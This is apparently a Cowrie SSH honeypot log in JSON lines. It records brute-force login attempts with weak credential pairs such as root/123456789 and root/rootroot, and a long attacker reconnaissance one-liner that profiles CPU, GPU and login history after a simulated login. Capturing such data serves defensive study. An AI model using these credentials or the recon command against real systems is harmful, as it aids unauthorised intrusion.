{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:08.838497Z","src_ip":"101.44.96.62","session":"cf93b6298421","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:09.489627Z","src_ip":"101.44.96.62","session":"cf93b6298421","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:10.708031Z","src_ip":"101.44.96.62","session":"cf93b6298421","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":56888,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed068bfde41f","protocol":"ssh","message":"New connection: 101.44.96.62:56888 (159.203.135.109:22) [session: ed068bfde41f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:22.180372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:22.185207Z","src_ip":"101.44.96.62","session":"ed068bfde41f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:22.402592Z","src_ip":"101.44.96.62","session":"ed068bfde41f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:23.053978Z","src_ip":"101.44.96.62","session":"ed068bfde41f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:24.273677Z","src_ip":"101.44.96.62","session":"ed068bfde41f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":54148,"dst_ip":"159.203.135.109","dst_port":22,"session":"27eb634d0adb","protocol":"ssh","message":"New connection: 101.44.96.62:54148 (159.203.135.109:22) [session: 27eb634d0adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:35.665909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:35.670274Z","src_ip":"101.44.96.62","session":"27eb634d0adb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:35.887135Z","src_ip":"101.44.96.62","session":"27eb634d0adb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123456789","message":"login attempt [root/123456789] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:36.538365Z","src_ip":"101.44.96.62","session":"27eb634d0adb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:36.998059Z","src_ip":"101.44.96.62","session":"27eb634d0adb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:37.001613Z","src_ip":"101.44.96.62","session":"27eb634d0adb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:37.221515Z","src_ip":"101.44.96.62","session":"27eb634d0adb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:37.224984Z","src_ip":"101.44.96.62","session":"27eb634d0adb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":55380,"dst_ip":"159.203.135.109","dst_port":22,"session":"f37f64d11dc4","protocol":"ssh","message":"New connection: 101.44.96.62:55380 (159.203.135.109:22) [session: f37f64d11dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:49.247984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:49.252537Z","src_ip":"101.44.96.62","session":"f37f64d11dc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:49.468977Z","src_ip":"101.44.96.62","session":"f37f64d11dc4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"rootroot","message":"login attempt [root/rootroot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:50.118579Z","src_ip":"101.44.96.62","session":"f37f64d11dc4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:50.579765Z","src_ip":"101.44.96.62","session":"f37f64d11dc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:50.582032Z","src_ip":"101.44.96.62","session":"f37f64d11dc4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:50.800786Z","src_ip":"101.44.96.62","session":"f37f64d11dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:50.805381Z","src_ip":"101.44.96.62","session":"f37f64d11dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":50434,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8634f1e845c","protocol":"ssh","message":"New connection: 101.44.96.62:50434 (159.203.135.109:22) [session: e8634f1e845c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:15:02.779516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:15:02.785944Z","src_ip":"101.44.96.62","session":"e8634f1e845c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:15:03.009978Z","src_ip":"101.44.96.62","session":"e8634f1e845c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:15:03.662805Z","src_ip":"101.44.96.62","session":"e8634f1e845c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:15:04.882841Z","src_ip":"101.44.96.62","session":"e8634f1e845c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":53184,"dst_ip":"159.203.135.109","dst_port":22,"session":"83af2abb6069","protocol":"ssh","message":"New connection: 101.44.96.62:53184 (159.203.135.109:22) [session: 83af2abb6069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:15:16.302663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:15:16.307537Z","src_ip":"101.44.96.62","session":"83af2abb6069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:15:16.527908Z","src_ip":"101.44.96.62","session":"83af2abb6069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sugi","password":"sugi","message":"login attempt [sugi/sugi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:15:17.180530Z","src_ip":"101.44.96.62","session":"83af2abb6069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:15:18.400483Z","src_ip":"101.44.96.62","session":"83af2abb6069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.240.199","src_port":43200,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d04a8dc4359","protocol":"ssh","message":"New connection: 91.92.240.199:43200 (159.203.135.109:22) [session: 0d04a8dc4359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:16:04.765964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:16:05.601742Z","src_ip":"91.92.240.199","session":"0d04a8dc4359","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:16:05.605335Z","src_ip":"91.92.240.199","session":"0d04a8dc4359","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root12","message":"login attempt [root/root12] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:16:16.516381Z","src_ip":"91.92.240.199","session":"0d04a8dc4359","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:16:24.475160Z","src_ip":"91.92.240.199","session":"0d04a8dc4359","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:16:24.477541Z","src_ip":"91.92.240.199","session":"0d04a8dc4359","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:16:24.479666Z","src_ip":"91.92.240.199","session":"0d04a8dc4359","protocol":"ssh"}
